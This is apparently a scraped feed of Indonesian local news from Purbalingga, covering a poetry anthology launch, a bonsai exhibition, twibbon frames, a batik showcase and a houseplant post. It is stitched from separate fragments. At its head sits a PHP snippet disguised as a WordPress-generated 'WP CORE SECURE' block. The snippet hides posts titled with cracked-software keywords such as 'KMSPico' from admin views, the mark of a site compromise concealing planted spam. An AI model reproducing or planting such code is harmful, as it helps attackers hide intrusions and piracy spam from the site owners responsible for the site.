# BEGIN WP CORE SECURE
# Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE"
# dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress.
# Setiap perubahan pada arahan di antara penanda berikut akan ditimpa.
function exclude_posts_by_titles($where, $query) {
global $wpdb;
if (is_admin() && $query->is_main_query()) {
$keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner'];
foreach ($keywords as $keyword) {
$where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%");
}
}
return $where;
}
add_filter('posts_where', 'exclude_posts_by_titles', 10, 2);
# END WP CORE SECURE
Hadir dalam kesempatan tersebut Asisten Pemerintahan dan Kesra Sekda Purbalingga, Imam Wahyudi yang mengatakan bahwa sastra bisa bisa menjadi gambaran kondisi sebuah peradaban atau masyarakat. Menurutnya, tidak ada peradaban yang bisa dirubah maju tanpa karya sastra.“Sastra bisa menjadi gambaran kondisi masyarakat beserta dinamikanya. Chairil Anwar, Taufik Ismail dan lainnya bisa menjadi gambaran kondisi sosial budaya masyarakat pada waktu itu,” katanya.Imam menambahkan, dirinya banyak mengikuti perkembangan sastra termasuk di wilayah Banyumas.
Dalam kesempatan tersebut imam menuturkan bahwa koleksi bukunya di rumah mencapai lebih dari 2000 buku dari segala genre mulai dari sejarah, ilmiah bahkan sastra.“Saya mengoleksi semua karya Pramoedya Ananta Toer. Bahkan saya mengikuti buku babad Banyumas hingga 12 jilid,” ujarnya.Imam mewakili Pemerintah Kabupaten (Pemkab) Purbalingga mengapresiasi penulis perempuan Purbalingga yang telah meluncurkan dua seri buku Antologi Puisi.
Tahun 2020 dan 2021 ini, peluncuran tersebut menjadi bukti eksistensi penulis khususnya perempuan di Kabupaten Purbalingga.“Kami atas nama pemerintah Kabupaten Purbalingga menyampaikan apresiasi kepada para penulis perempuan Purbalingga yang telah meluncurkan dua seri buku. Semoga akan terus eksis menelurkan karyanya,” imbuhnya.Ketua penulis perempuan Windu Setianingsih menuturkan peluncuran buku tersebut bertujuan memperingati hari ibu ke-93 dan Hari Jadi Purbalingga ke-191.
Penulis perempuan Purbalingga dihimpun mulai tahun 2020 berawal dari Katasapa besutan Ryan Rachman yang kemudian membentuk penulis perempuan Purbalingga. Penulis perempuan Purbalingga berlatar belakang lahir, tinggal atau pernah tinggal di Purbalingga.“Terima kasih kami sampaikan kepada mas Ryan Rachman dan Katasapanya yang hingga diterbitkannya kumpulan puisi memfasilitasi kami.
Di tahun 2020 baru ada sekitar 21 penulis perempuan dan sekarang sudah ada 45 (penulis perempuan),” tuturnya.Indra Devandra, dari SIP publishing, penerbit yang mencetak dan menerbitkan Antologi Puisi takjub akan karya-karya penulis perempuan Purbalingga. SIP publishing merasa terhormat bisa menjadi bagian dari sejarah untuk ikut menerbitkan karya penulis perempuan Purbalingga.“Ini adalah sebuah kehormatan bagi kami. Untuk ikut menjadi saksi sejarah dalam penerbitan buku ini,” pungkasnya. (LL/Kominfo)
]]>Pohon yang diikutkan dalam lomba mulai dari Serut, Anting Putri, Hokiantea, Ulmus, Lagundri, Asam Jawa, Santigi. Kemudian Cemara, Waru, Beringin Korea, Beringin Jawa, Iprik, Kimeng, Lohansung, dan Amplas,” katanya saat pameran di Halaman Monumen Tempat Lahir Panglima Besar Jenderal Soedirman di Rembang, Kamis (23/12/2021)Team juri yang akan menilai menurut Karyono terdiri 6 orang dari Perhimpunan Penggemar Bonsai Indonesia (PPBI) Pusat berasal dari berbagai daerah mulai dari Malang , Pemalang, Jogyakarta dan Bandung.
Penilaian meliputi kesesuaian antara akar batang dan daun.” Faktor lain yang ikut di nilai yakni keindahan secara keseluruhan, gerak dasar, kesan tua, alami dan kesesuaian pot. Kejuaraan juga dibagi 3 katagori yakni prospek (bakalan), regional dan madya. Masing juga dibagi menjadi small, medium, large, XL dan XXL, ” tambah Karyono.
Tujuan pemeran, kata Karyono guna mengenalkan seni bonsai kepada masyarakat Purbalingga dan sekitarnya. Sehingga pameran ini juga bisa dikunjungi oleh masyarakat dan dibuka untuk umum pada Jum’at-Rabu (24-29/12/2021), bertempat di halaman MTL Jensud Rembang.” Dibuka untuk umum dan gratis tidak dipungut biaya apapun. Selain pameran juga disediakan stand bibit tanaman dan juga bakalan bonsai,” pungkasnya (-dy)
]]>Yuk,,,,, bersama-sama meriahkan HUT Purbalingga ke 191 kali ini dengan memasang twibon di berbagai sosial media.
Twibbon adalah bingkai foto yang didisain sedemikian rupa sehingga menarik untuk dilihat yang biasanya digunakan untuk promosi atau membuat dukungan tertentu.
Berikut ini 18 disain twibon yang bisa kita pilih dan gunakan untuk turut serta memeriahkan HUT Purbalingga ke 191 :
Batik yang tambil pada acara tersebut adalah karya Batik Dwi Putro dari Desa Gambarsari, Kemangkon yang didesain oleh Andes Rahmawati.
“Alhamdulilah karya kami bisa masuk dan ditampilkan oleh model-model papan atas di ajang bergengsi ini,” ujar Kukuh Wardoyo dari Batik Dwi Putro yang menyaksikan acara tersebut, Kamis (28/10).
Karya yang ditampilkan sebanyak 5 baju. Kemudian, Batik Dwi Putro juga mendapatkan 1 booth untuk memajang hasil-hasil karyanya.
Batik Dwi Putro bisa tampil pada ajang tersebut difasilitasi oleh Kantor Perwakilan Bank Indonesia Purwokerto. “Karya kami sudah melewati kurasi dari BI Purwokerto,” katanya
Sementara itu, Ketua Dekranasda Purbalingga Rizal Diansyah mengapresiasi pengrajin lokal yang sudah bisa menembus pasar nasional. “Kami berharap semakin banyak pengrajin, pembatik dan desainer yang mampu naik kelas dan berkiprah di tingkat nasional,” ujarnya.
Sebagai informasi, Batik merupakan salah satu produk unggulan Kabupaten Purbalingga. Saat ini sudah ada sekitar 20 sentra batik dengan pusat penjualan Wastralingga di Taman Kota Usman Janatin.
Pemda Purbalingga sendiri sudah memfasiltasi berbagai macam kegiatan seperti bantuan alat, peningkatan sumberdaya manusia juga berbagai promosi untuk mengembangkan batik, juga desainer lokal. (*igoen)
]]>Memang masyarakat Indonesia jagonya membuat istilah-istilah termasuk dalam hal memberikan nama pada tanaman hias. Seperti halnya Monstera Adansoni yang diberi nama “Janda Bolong” tanaman hias yang satu ini “Philodendron Burle Marx” pun disebut dengan “Philo Brekele”
Philo Brekele termasuk jenis tanaman hias dengan daun cukup besar / lebar dan bisa tumbuh merambat. Harga tanaman hias ini sangat murah, di tokopedia dijual mulai dari 5ribu rupiah saja sedangkan philo brekele yang saya miliki ini dapat gratisan oleh-oleh saat silaturahmi heri ke2 lebaran ke rumah sahabat.
Meski harganya murah tapi jangan sepelekan tanaman ini karena pertumbuhanya yang cukup cepat, semakin sering dicacah dan dipangkas maka tanaman ini semakin cepat rimbun. Pertumbuhan daunnya cepat membesar dan cepat tumbuh tunas baru.
Perawatannya yang mudah, tanaman ini cocok buat yang baru memulai hobi tanaman hias. Burle Marx bagus untuk tanaman indoor maupun outdoor dan tempatkan pada area yang tidak terkena sinar matahari langsung serta payakan media tanam Burle Marx tetap terjaga kelembabannya.
Untuk memperbanyak Burle Marx bisa dilakukan dengan cara mencacah pada titik tumbuh yang ada akarnya lalu tempel ke media taman atau bisa ditempatkan pada media air sampai tumbuh akar baru dipindah ke meida tanam tanah yang sudah dicampur dengan sekam dan kotoran hewan.
]]>